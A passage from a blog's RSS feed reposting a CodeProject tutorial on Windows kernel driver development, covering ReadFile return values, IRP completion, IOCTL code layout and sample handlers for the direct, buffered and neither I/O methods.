cnRpY2xlcy9BcnRpY2xlLmFzcHg/YWlkPTk2MzZkZAIRDxYCHwMFCzE5IEZlYiAyMDA1ZAITDw8WBB8DBQ5TbWl0aGEgVmlqYXlhbh8CBSYvc2NyaXB0L01lbWJlcnNoaXAvVmlldy5hc3B4P21pZD0yODk3MGRkAhUPFgIfAwUfQ29weXJpZ2h0IDIwMDUgYnkgVG9ieSBPcGZlcm1hbmRkPISCTRICP0lFa2C3EUNChdMKuz0= name=__VIEWSTATE> </div>
    <h2>License</h2>
    <div id=ctl00_LicenseTerms>
    <p>This article has no explicit license attached to it but may contain usage terms in the article text or the download files themselves. If in doubt please contact the author via the discussion board below.</p>
    <p>A list of licenses authors might use can be found <a href="http://www.codeproject.com/info/Licenses.aspx">here</a></p>
    </div>
</form>
<img src ="http://www.cppblog.com/iniwf/aggbug/79637.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/iniwf/" target="_blank">iniwf</a> 2009-04-11 23:03 <a href="http://www.cppblog.com/iniwf/archive/2009/04/11/79637.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Driver Development Part 2: Introduction to Implementing IOCTLs</title><link>http://www.cppblog.com/iniwf/archive/2009/04/11/79636.html</link><dc:creator>iniwf</dc:creator><author>iniwf</author><pubDate>Sat, 11 Apr 2009 15:00:00 GMT</pubDate><guid>http://www.cppblog.com/iniwf/archive/2009/04/11/79636.html</guid><wfw:comment>http://www.cppblog.com/iniwf/comments/79636.html</wfw:comment><comments>http://www.cppblog.com/iniwf/archive/2009/04/11/79636.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/iniwf/comments/commentRss/79636.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/iniwf/services/trackbacks/79636.html</trackback:ping><description><![CDATA[转自<a href="http://www.codeproject.com/KB/system/driverdev2.aspx">http://www.codeproject.com/KB/system/driverdev2.aspx</a><br><br>
<ul class=download>
    <li><a href="http://www.codeproject.com/KB/system/driverdev2/driverdev_src2.zip">Download source code - 14.3 Kb</a> </li>
</ul>
<h2>Introduction</h2>
<p>This is the second tutorial of the Writing Device Drivers series. There seems to be a lot of interest in the topic, so this article will pick up where the first left off. The main focus of these articles will be to build up little by little the knowledge needed to write device drivers. In this article, we will be building on the same example source code used in part one. In this article, we will expand on that code to include Read functionality, Handle Input/Ouput Controls also known as IOCTLs, and learn a bit more about IRPs.</p>
<h2>F.A.Q.</h2>
<p>Before we begin with this article, here is a small list of some frequently asked questions that we can clear up.</p>
<h3>Where do I get the DDK?</h3>
<p>Microsoft allows MSDN subscribers to download the DDK from their website. If you do not subscribe, they sometimes allow new DDKs to be openly downloaded by the public for a certain period of time. At the time of this article, no DDKs are available for download, so if you are not a subscriber, you can request they mail you the DDK CD for the cost of shipping and handling. You can order the DDK from <a href="http://www.microsoft.com/whdc/devtools/ddk/orderddkcd.mspx" target=_blank>here</a>.</p>
<h3>Can I include windows.h in my driver?</h3>
<p>You cannot mix the Windows SDK header files with the Windows DDK header files. They have definitions that will conflict and you will have trouble getting the code to compile. Sometimes there are user-mode applications which like to include part of the DDK. These generally will have to take out the types they want to define from the DDK or SDK and put them directly in their file. The other popular approach used where possible is to separate the files into DDK and SDK usage so each .C can include the appropriate headers without conflict.</p>
<h3>Can I implement �x� type driver like this?</h3>
<p>This is the general generic framework for which mostly all drivers are built upon in Windows. Drivers do not have to implement hardware, and as mentioned in the first tutorial, there is usually a stack of drivers. If you are looking to implement a specific type of driver, this is a starting point to understand in general how drivers work. The difference then becomes how you advertise your device to the system, what IOCTLs you implement, what drivers you communicate to underneath your driver, and any additional pieces you are required to implement such as supporting drivers or even user mode components. If you are looking to implement a specific type of driver, you will want to read information specific to that driver on MSDN, in the DDK and other places. There are sometimes other frameworks which actually encapsulate most of what we are doing here so it�s easier to write for example.</p>
<h3>Can I use the C or C++ runtime in a driver?</h3>
<p>You should avoid using these in a driver and instead use the equivalent kernel mode APIs. <a href="http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/k109_2e5512a0-5566-4266-89d7-a7d27a4e4a1a.xml.asp?frame=true" target=_blank>Kernel Run Time Library</a> also includes a subtopic on <a href="http://msdn.microsoft.com/library/en-us/kmarch/hh/kmarch/safestrings_8be5dd8c-6edd-44cc-b0ba-3a7b6dabba4a.xml.asp?frame=true" target=_blank>Safe String Functions</a>. When programming in the kernel, there are some pitfalls you may need to be aware of, and if you never look up the real kernel API, you may never be aware of these since you would never have read the "remarks" section for example. The kernel APIs also tell you at what IRQL you can use each of the functions. It is a lot safer and in your best interest to avoid the standard run time as it will save you time from tracking down bugs and making simple common mistakes in your code.</p>
<h2>Implementing the ReadFile</h2>
<p>The first article left this as homework so even if you have not completed your homework, here are the answers. There are three types of I/O as we discussed previously and these are Direct, Buffered and Neither. I have implemented all three of these in the example driver. The difference is that instead of reading the memory, we write to the memory. I will not explain all three types of I/O as they are identical. What I will explain is the new functionality that I have added: <strong>return values</strong>!</p>
<p>In the <code>WriteFile</code> implementation, we didn�t need to worry about the return value. Proper implementations should always inform the user mode application how much data was �written�, however, I omitted this detail for simplicity at the time. This will become essential with the �<code>ReadFile</code>� implementation if not only for properly informing the user mode application but to let the I/O Manager know as well.</p>
<p>If you recall how �Buffered I/O� works for example, the memory buffer is created in another location and the user mode memory is copied. If we want to read data from the driver, the I/O manager needs to know how much memory to copy from this temporary buffer to the real user mode memory location! If we don�t do this, no memory will be copied and the user mode application will not get any data!</p>
<div class=SmallText id=premain0 style="WIDTH: 100%"><img id=preimg0 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="0"><span id=precollapse0 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="0"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="0"> Copy Code</a></div>
<pre id=pre0 style="MARGIN-TOP: 0px">NTSTATUS Example_ReadDirectIO(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS NtStatus = STATUS_BUFFER_TOO_SMALL;
PIO_STACK_LOCATION pIoStackIrp = NULL;
PCHAR pReturnData = <span class=code-string>"</span><span class=code-string>Example_ReadDirectIO - Hello from the Kernel!"</span>;
UINT dwDataSize = <span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>Example_ReadDirectIO - Hello from the Kernel!"</span>);
UINT dwDataRead = <span class=code-digit>0</span>;
PCHAR pReadDataBuffer;
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_ReadDirectIO Called \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* Each time the IRP is passed down the driver stack a
* new stack location is added
* specifying certain parameters for the IRP to the
* driver.
*/</span>
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
<span class=code-keyword>if</span>(pIoStackIrp &amp;&amp; Irp-<span class=code-keyword>&gt;</span>MdlAddress)
{
pReadDataBuffer = MmGetSystemAddressForMdlSafe(Irp-<span class=code-keyword>&gt;</span>MdlAddress,
NormalPagePriority);
<span class=code-keyword>if</span>(pReadDataBuffer &amp;&amp;
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.Read.Length <span class=code-keyword>&gt;</span>= dwDataSize)
{
<span class=code-comment>/*</span><span class=code-comment>
* We use "RtlCopyMemory" in the kernel instead
* of memcpy.
* RtlCopyMemory *IS* memcpy, however it's best
* to use the
* wrapper in case this changes in the future.
*/</span>
RtlCopyMemory(pReadDataBuffer, pReturnData,
dwDataSize);
dwDataRead = dwDataSize;
NtStatus = STATUS_SUCCESS;
}
}</pre>
<h3>Implementing Return Values</h3>
<p>The return value is implemented using the <code>IO_STATUS_BLOCK</code> of the IRP. This contains a few data members which vary their use depending on the major function being implemented. In the major functions we are implementing, �Status� is equal to the return code and �Information� contains the number of bytes read or written. Looking at the new code, you also notice that we are now calling �<code>IoCompleteRequest</code>�. What does this all mean?</p>
<p>The <code>IoCompleteRequest</code> is always called by the driver after it completes the IRP. The reason we weren�t doing this in the previous example is that the I/O Manager being a nice guy will in most cases complete this for us. However, it is proper for the driver to complete the IRP where necessary. This location contains a document on �<a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/dndevice/html/IRP_Handle.asp" target=_blank>IRP Handling</a>� which can supply more information.</p>
<div class=SmallText id=premain1 style="WIDTH: 100%"><img id=preimg1 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="1"><span id=precollapse1 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="1"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="1"> Copy Code</a></div>
<pre id=pre1 style="MARGIN-TOP: 0px">    Irp-<span class=code-keyword>&gt;</span>IoStatus.Status = NtStatus;
Irp-<span class=code-keyword>&gt;</span>IoStatus.Information = dwDataRead;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
<span class=code-keyword>return</span> NtStatus;
}</pre>
<p>The second parameter of the <code>IoCompleteRequest</code> specifies the priority boost to give the thread waiting for this IRP to complete. As an example, perhaps the thread has been waiting a long time for a network operation. This boost helps the scheduler re-run this thread sooner than it may have if it simply went back into the ready queue without a boost. To put this quite simply, it's basically a helper being used to inform the scheduler to re-run the thread waiting for this I/O.</p>
<h3>Stricter Parameter Validation and Error Checking</h3>
<p>The code now implements a little more error checking and parameter validation than it previously did. This is one thing that you want to make sure with your driver, that a user mode application shouldn�t be able to send invalid memory locations, etc. to the driver and blue screen the system. The driver implementation should also do a little better on the errors it returns to the user mode driver instead of just �<code>STATUS_SUCCESS</code>� all the time. We need to inform the user mode process if it needs to send us more data or attempt to determine exactly when wrong. You like APIs which you can call <code>GetLastError</code> to see why they failed or use the return value to determine how to fix your code. If your driver simply returns �failed� or even better �success� all the time, it becomes harder to know how to make your application work properly with the driver.</p>
<h2>Input/Output Controls (IOCTL)</h2>
<p>The IOCTL is used as more of a communication between the driver and application rather than simply reading or writing data. Generally, the driver exports a number of IOCTLs and defines data structures that would be used in this communication. Generally, these data structures should not contain pointers since the I/O Manager cannot interpret these structures. All data should be contained in the same block. If you want to create pointers, you can do things such as create offsets into the block of data past the end of the static data so the driver can easily find this information. If you do remember however, the driver does have the ability to read user mode data as long as it�s in the context of the process. So, it is possible to implement pointers to memory and the driver would need to copy the pages or lock the pages in memory (implement basically buffered or direct I/O from within the driver itself, which can be done). The user mode process will use the �<code>DeviceIoControl</code>� API to perform this communication.</p>
<h3>Defining the IOCTL</h3>
<p>The first thing we need to do is define the IOCTL code to be used between the application and the driver. I will essentially be summarizing this <a href="http://msdn.microsoft.com/library/default.asp?url=/library/en-us/kmarch/hh/kmarch/IRPs_9730516f-1373-4a9a-8fa1-8021dea5439e.xml.asp" target=_blank>article</a> on MSDN here. First, to relate the IOCTL to something in user mode, you may think of it as a Windows Message. It�s simply a value used by the driver to implement some requested function with predefined input and output values. There is a little more to this value than a Windows Message however. The IOCTL defines the access required in order to issue the IOCTL as well as the method to be used when transferring the data between the driver and the application.</p>
<p>The IOCTL is a 32 bit number. The first two low bits define the �transfer type� which can be <code>METHOD_OUT_DIRECT</code>, <code>METHOD_IN_DIRECT</code>, <code>METHOD_BUFFERED</code> or <code>METHOD_NEITHER</code>.</p>
<p>The next set of bits from 2 to 13 define the �Function Code�. The high bit is referred to as the �custom bit�. This is used to determine user-defined IOCTLs versus system defined. This means that function codes 0x800 and greater are custom defined similar to how <code>WM_USER</code> works for Windows Messages.</p>
<p>The next two bits define the access required to issue the IOCTL. This is how the I/O Manager can reject IOCTL requests if the handle has not been opened with the correct access. The access types are such as <code>FILE_READ_DATA</code> and <code>FILE_WRITE_DATA</code> for example.</p>
<p>The last bits represent the device type the IOCTLs are written for. The high bit again represents user defined values.</p>
<p>There is a macro we can use to define our IOCTLs quickly and it is �<code>CTL_CODE</code>�. I have used it in �<em>public.h</em>� to define four IOCTLs which implement different types of access transfer methods.</p>
<div class=SmallText id=premain2 style="WIDTH: 100%"><img id=preimg2 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="2"><span id=precollapse2 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="2"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="2"> Copy Code</a></div>
<pre id=pre2 style="MARGIN-TOP: 0px"><span class=code-comment>/*</span><span class=code-comment>
*   IOCTL's are defined by the following bit layout.
* [Common |Device Type|Required Access|Custom|Function Code|Transfer Type]
*   31     30       16 15          14  13   12           2  1            0
*
*   Common          - 1 bit.  This is set for user-defined
*                     device types.
*   Device Type     - This is the type of device the IOCTL
*                     belongs to.  This can be user defined
*                     (Common bit set).  This must match the
*                     device type of the device object.
*   Required Access - FILE_READ_DATA, FILE_WRITE_DATA, etc.
*                     This is the required access for the
*                     device.
*   Custom          - 1 bit.  This is set for user-defined
*                     IOCTL's.  This is used in the same
*                     manner as "WM_USER".
*   Function Code   - This is the function code that the
*                     system or the user defined (custom
*                     bit set)
*   Transfer Type   - METHOD_IN_DIRECT, METHOD_OUT_DIRECT,
*                     METHOD_NEITHER, METHOD_BUFFERED, This
*                     the data transfer method to be used.
*
*/</span>
<span class=code-preprocessor>#define</span> IOCTL_EXAMPLE_SAMPLE_DIRECT_IN_IO    \
CTL_CODE(FILE_DEVICE_UNKNOWN,        \
0x800,                      \
METHOD_IN_DIRECT,           \
FILE_READ_DATA | FILE_WRITE_DATA)
<span class=code-preprocessor>#define</span> IOCTL_EXAMPLE_SAMPLE_DIRECT_OUT_IO   \
CTL_CODE(FILE_DEVICE_UNKNOWN,        \
0x801,                      \
METHOD_OUT_DIRECT,          \
FILE_READ_DATA | FILE_WRITE_DATA)
<span class=code-preprocessor>#define</span> IOCTL_EXAMPLE_SAMPLE_BUFFERED_IO     \
CTL_CODE(FILE_DEVICE_UNKNOWN,        \
0x802,                      \
METHOD_BUFFERED,            \
FILE_READ_DATA | FILE_WRITE_DATA)
<span class=code-preprocessor>#define</span> IOCTL_EXAMPLE_SAMPLE_NEITHER_IO      \
CTL_CODE(FILE_DEVICE_UNKNOWN,        \
0x803,                      \
METHOD_NEITHER,             \
FILE_READ_DATA | FILE_WRITE_DATA)</pre>
<p>The above displays how we defined our IOCTLs.</p>
<h3>Implementing the IOCTL</h3>
<p>The first thing that simply needs to occur is essentially a <code><span class=code-keyword>switch</span></code> statement which distributes the IOCTL to the appropriate implementation. This is essentially the same thing a Windows procedure does to dispatch Windows messages. There is no such thing as a "def IOCTL proc" though!</p>
<p>The "<code>Parameters.DeviceIoControl.IoControlCode</code>" of the <code>IO_STACK_LOCATION</code> contains the IOCTL code being invoked. The following code is essentially a <code><span class=code-keyword>switch</span></code> statement which dispatches each IOCTL to its implementation.</p>
<div class=SmallText id=premain3 style="WIDTH: 100%"><img id=preimg3 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="3"><span id=precollapse3 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="3"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="3"> Copy Code</a></div>
<pre id=pre3 style="MARGIN-TOP: 0px">NTSTATUS Example_IoControl(PDEVICE_OBJECT DeviceObject, PIRP Irp)
{
NTSTATUS NtStatus = STATUS_NOT_SUPPORTED;
PIO_STACK_LOCATION pIoStackIrp = NULL;
UINT dwDataWritten = <span class=code-digit>0</span>;
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_IoControl Called \r\n"</span>);
pIoStackIrp = IoGetCurrentIrpStackLocation(Irp);
<span class=code-keyword>if</span>(pIoStackIrp) <span class=code-comment>/*</span><span class=code-comment> Should Never Be NULL! */</span>
{
<span class=code-keyword>switch</span>(pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.IoControlCode)
{
<span class=code-keyword>case</span> IOCTL_EXAMPLE_SAMPLE_DIRECT_IN_IO:
NtStatus = Example_HandleSampleIoctl_DirectInIo(Irp,
pIoStackIrp, &amp;dwDataWritten);
<span class=code-keyword>break</span>;
<span class=code-keyword>case</span> IOCTL_EXAMPLE_SAMPLE_DIRECT_OUT_IO:
NtStatus = Example_HandleSampleIoctl_DirectOutIo(Irp,
pIoStackIrp, &amp;dwDataWritten);
<span class=code-keyword>break</span>;
<span class=code-keyword>case</span> IOCTL_EXAMPLE_SAMPLE_BUFFERED_IO:
NtStatus = Example_HandleSampleIoctl_BufferedIo(Irp,
pIoStackIrp, &amp;dwDataWritten);
<span class=code-keyword>break</span>;
<span class=code-keyword>case</span> IOCTL_EXAMPLE_SAMPLE_NEITHER_IO:
NtStatus = Example_HandleSampleIoctl_NeitherIo(Irp,
pIoStackIrp, &amp;dwDataWritten);
<span class=code-keyword>break</span>;
}
}
Irp-<span class=code-keyword>&gt;</span>IoStatus.Status = NtStatus;
Irp-<span class=code-keyword>&gt;</span>IoStatus.Information = dwDataWritten;
IoCompleteRequest(Irp, IO_NO_INCREMENT);
<span class=code-keyword>return</span> NtStatus;
}</pre>
<p>If you understand the <code>ReadFile</code> and <code>WriteFile</code> implementations, these simply implement both in one call. This obviously doesn't have to be the case, IOCTLs can be used to only read data, only write data, or not send any data at all but simply inform or instruct the driver to perform an action.</p>
<h4>METHOD_x_DIRECT</h4>
<p>The <code>METHOD_IN_DIRECT</code> and <code>METHOD_OUT_DIRECT</code> can essentially be explained at the same time. They are basically the same. The INPUT buffer is passed in using "BUFFERED" implementation. The output buffer is passed in using the <code>MdlAddress</code> as explained in the Read/Write implementations. The difference between "IN" and "OUT" is that with "IN", you can use the output buffer to <strong>pass in data</strong>! The "OUT" is only used to return data. The driver example we have doesn't use the "IN" implementation to pass in data, and essentially the "OUT" and "IN" implementations are the same in the example. Since this is the case, I will just show you the "OUT" implementation.</p>
<div class=SmallText id=premain4 style="WIDTH: 100%"><img id=preimg4 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="4"><span id=precollapse4 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="4"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="4"> Copy Code</a></div>
<pre id=pre4 style="MARGIN-TOP: 0px">NTSTATUS Example_HandleSampleIoctl_DirectOutIo(PIRP Irp,
PIO_STACK_LOCATION pIoStackIrp, UINT *pdwDataWritten)
{
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PCHAR pInputBuffer;
PCHAR pOutputBuffer;
UINT dwDataRead = <span class=code-digit>0</span>, dwDataWritten = <span class=code-digit>0</span>;
PCHAR pReturnData = <span class=code-string>"</span><span class=code-string>IOCTL - Direct Out I/O From Kernel!"</span>;
UINT dwDataSize = <span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>IOCTL - Direct Out I/O From Kernel!"</span>);
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_HandleSampleIoctl_DirectOutIo Called \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* METHOD_OUT_DIRECT
*
*    Input Buffer = Irp-&gt;AssociatedIrp.SystemBuffer
*    Ouput Buffer = Irp-&gt;MdlAddress
*
*    Input Size   =  Parameters.DeviceIoControl.InputBufferLength
*    Output Size  =  Parameters.DeviceIoControl.OutputBufferLength
*
* What's the difference between METHOD_IN_DIRECT &amp;&amp; METHOD_OUT_DIRECT?
*
* The function which we implemented METHOD_IN_DIRECT
* is actually *WRONG*!!!!  We are using the output buffer
* as an output buffer!  The difference is that METHOD_IN_DIRECT creates
* an MDL for the outputbuffer with
* *READ* access so the user mode application
* can send large amounts of data to the driver for reading.
*
* METHOD_OUT_DIRECT creates an MDL
* for the outputbuffer with *WRITE* access so the user mode
* application can recieve large amounts of data from the driver!
*
* In both cases, the Input buffer is in the same place,
* the SystemBuffer.  There is a lot
* of consfusion as people do think that
* the MdlAddress contains the input buffer and this
* is not true in either case.
*/</span>
pInputBuffer = Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer;
pOutputBuffer = NULL;
<span class=code-keyword>if</span>(Irp-<span class=code-keyword>&gt;</span>MdlAddress)
{
pOutputBuffer =
MmGetSystemAddressForMdlSafe(Irp-<span class=code-keyword>&gt;</span>MdlAddress,
NormalPagePriority);
}
<span class=code-keyword>if</span>(pInputBuffer &amp;&amp; pOutputBuffer)
{
<span class=code-comment>/*</span><span class=code-comment>
* We need to verify that the string
* is NULL terminated. Bad things can happen
* if we access memory not valid while in the Kernel.
*/</span>
<span class=code-keyword>if</span>(Example_IsStringTerminated(pInputBuffer,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.InputBufferLength,
&amp;dwDataRead)) {
DbgPrint(<span class=code-string>"</span><span class=code-string>UserModeMessage = '%s'"</span>, pInputBuffer);
DbgPrint(<span class=code-string>"</span><span class=code-string>%i &gt;= %i"</span>,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.OutputBufferLength,
dwDataSize);
<span class=code-keyword>if</span>(pIoStackIrp-<span class=code-keyword>&gt;</span>
Parameters.DeviceIoControl.OutputBufferLength <span class=code-keyword>&gt;</span>= dwDataSize)
{
<span class=code-comment>/*</span><span class=code-comment>
* We use "RtlCopyMemory" in the kernel instead of memcpy.
* RtlCopyMemory *IS* memcpy, however it's best to use the
* wrapper in case this changes in the future.
*/</span>
RtlCopyMemory(pOutputBuffer, pReturnData, dwDataSize);
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_SUCCESS;
}
<span class=code-keyword>else</span>
{
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_BUFFER_TOO_SMALL;
}
}
}
<span class=code-keyword>return</span> NtStatus;
}</pre>
<p>As homework, see if you can change the "IN" method to work correctly. Pass input data through the output buffer and display it.</p>
<h4>METHOD_BUFFERED</h4>
<p>The <code>METHOD_BUFFERED</code> implementation does essentially the same thing as the Read and Write implementations. A buffer is allocated and the data is copied from this buffer. The buffer is created as the larger of the two sizes, the input or output buffer. Then the read buffer is copied to this new buffer. Before you return, you simply copy the return data into the same buffer. The return value is put into the <code>IO_STATUS_BLOCK</code> and the I/O Manager copies the data into the output buffer.</p>
<div class=SmallText id=premain5 style="WIDTH: 100%"><img id=preimg5 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="5"><span id=precollapse5 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="5"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="5"> Copy Code</a></div>
<pre id=pre5 style="MARGIN-TOP: 0px">NTSTATUS Example_HandleSampleIoctl_BufferedIo(PIRP Irp,
PIO_STACK_LOCATION pIoStackIrp, UINT *pdwDataWritten)
{
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PCHAR pInputBuffer;
PCHAR pOutputBuffer;
UINT dwDataRead = <span class=code-digit>0</span>, dwDataWritten = <span class=code-digit>0</span>;
PCHAR pReturnData = <span class=code-string>"</span><span class=code-string>IOCTL - Buffered I/O From Kernel!"</span>;
UINT dwDataSize = <span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>IOCTL - Buffered I/O From Kernel!"</span>);
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_HandleSampleIoctl_BufferedIo Called \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* METHOD_BUFFERED
*
*    Input Buffer = Irp-&gt;AssociatedIrp.SystemBuffer
*    Ouput Buffer = Irp-&gt;AssociatedIrp.SystemBuffer
*
*    Input Size   =  Parameters.DeviceIoControl.InputBufferLength
*    Output Size  =  Parameters.DeviceIoControl.OutputBufferLength
*
*    Since they both use the same location
*    so the "buffer" allocated by the I/O
*    manager is the size of the larger value (Output vs. Input)
*/</span>
pInputBuffer = Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer;
pOutputBuffer = Irp-<span class=code-keyword>&gt;</span>AssociatedIrp.SystemBuffer;
<span class=code-keyword>if</span>(pInputBuffer &amp;&amp; pOutputBuffer)
{
<span class=code-comment>/*</span><span class=code-comment>
* We need to verify that the string
* is NULL terminated. Bad things can happen
* if we access memory not valid while in the Kernel.
*/</span>
<span class=code-keyword>if</span>(Example_IsStringTerminated(pInputBuffer,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.InputBufferLength,
&amp;dwDataRead)) {
DbgPrint(<span class=code-string>"</span><span class=code-string>UserModeMessage = '%s'"</span>, pInputBuffer);
DbgPrint(<span class=code-string>"</span><span class=code-string>%i &gt;= %i"</span>,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.OutputBufferLength,
dwDataSize);
<span class=code-keyword>if</span>(pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.OutputBufferLength
<span class=code-keyword>&gt;</span>= dwDataSize)
{
<span class=code-comment>/*</span><span class=code-comment>
* We use "RtlCopyMemory" in the kernel instead of memcpy.
* RtlCopyMemory *IS* memcpy, however it's best to use the
* wrapper in case this changes in the future.
*/</span>
RtlCopyMemory(pOutputBuffer, pReturnData, dwDataSize);
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_SUCCESS;
}
<span class=code-keyword>else</span>
{
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_BUFFER_TOO_SMALL;
}
}
}
<span class=code-keyword>return</span> NtStatus;
}</pre>
<h4>METHOD_NEITHER</h4>
<p>This is also the same as implementing neither I/O. The original user mode buffers are passed into the driver.</p>
<div class=SmallText id=premain6 style="WIDTH: 100%"><img id=preimg6 style="CURSOR: pointer" height=9 src="http://www.codeproject.com/images/minus.gif" width=9 preid="6"><span id=precollapse6 style="MARGIN-BOTTOM: 0px; CURSOR: pointer" preid="6"> Collapse</span><img style="MARGIN-LEFT: 35px" height=16 src="http://www.codeproject.com/images/copy_16.png" width=16><a href="http://www.codeproject.com/KB/system/driverdev2.aspx#" preid="6"> Copy Code</a></div>
<pre id=pre6 style="MARGIN-TOP: 0px">NTSTATUS Example_HandleSampleIoctl_NeitherIo(PIRP Irp,
PIO_STACK_LOCATION pIoStackIrp, UINT *pdwDataWritten)
{
NTSTATUS NtStatus = STATUS_UNSUCCESSFUL;
PCHAR pInputBuffer;
PCHAR pOutputBuffer;
UINT dwDataRead = <span class=code-digit>0</span>, dwDataWritten = <span class=code-digit>0</span>;
PCHAR pReturnData = <span class=code-string>"</span><span class=code-string>IOCTL - Neither I/O From Kernel!"</span>;
UINT dwDataSize = <span class=code-keyword>sizeof</span>(<span class=code-string>"</span><span class=code-string>IOCTL - Neither I/O From Kernel!"</span>);
DbgPrint(<span class=code-string>"</span><span class=code-string>Example_HandleSampleIoctl_NeitherIo Called \r\n"</span>);
<span class=code-comment>/*</span><span class=code-comment>
* METHOD_NEITHER
*
*    Input Buffer = Parameters.DeviceIoControl.Type3InputBuffer
*    Ouput Buffer = Irp-&gt;UserBuffer
*
*    Input Size   =  Parameters.DeviceIoControl.InputBufferLength
*    Output Size  =  Parameters.DeviceIoControl.OutputBufferLength
*
*/</span>
pInputBuffer = pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.Type3InputBuffer;
pOutputBuffer = Irp-<span class=code-keyword>&gt;</span>UserBuffer;
<span class=code-keyword>if</span>(pInputBuffer &amp;&amp; pOutputBuffer)
{
<span class=code-comment>/*</span><span class=code-comment>
* We need this in an exception handler or else we could trap.
*/</span>
<span class=code-keyword>__try</span> {
ProbeForRead(pInputBuffer,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.InputBufferLength,
TYPE_ALIGNMENT(<span class=code-keyword>char</span>));
<span class=code-comment>/*</span><span class=code-comment>
* We need to verify that the string
* is NULL terminated. Bad things can happen
* if we access memory not valid while in the Kernel.
*/</span>
<span class=code-keyword>if</span>(Example_IsStringTerminated(pInputBuffer,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.InputBufferLength,
&amp;dwDataRead))
{
DbgPrint(<span class=code-string>"</span><span class=code-string>UserModeMessage = '%s'"</span>, pInputBuffer);
ProbeForWrite(pOutputBuffer,
pIoStackIrp-<span class=code-keyword>&gt;</span>Parameters.DeviceIoControl.OutputBufferLength,
TYPE_ALIGNMENT(<span class=code-keyword>char</span>));
<span class=code-keyword>if</span>(pIoStackIrp-<span class=code-keyword>&gt;</span>
Parameters.DeviceIoControl.OutputBufferLength
<span class=code-keyword>&gt;</span>= dwDataSize)
{
<span class=code-comment>/*</span><span class=code-comment>
* We use "RtlCopyMemory"
* in the kernel instead of memcpy.
* RtlCopyMemory *IS* memcpy,
* however it's best to use the
* wrapper in case this changes in the future.
*/</span>
RtlCopyMemory(pOutputBuffer,
pReturnData,
dwDataSize);
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_SUCCESS;
}
<span class=code-keyword>else</span>
{
*pdwDataWritten = dwDataSize;
NtStatus = STATUS_BUFFER_TOO_SMALL;
}
}
} <span class=code-keyword>__except</span>( EXCEPTION_EXECUTE_HANDLER ) {
NtStatus = GetExceptionCode();
}
}
<span class=code-keyword>return</span> NtStatus;
}</pre>
<h3>Calling DeviceIoControl</h3>
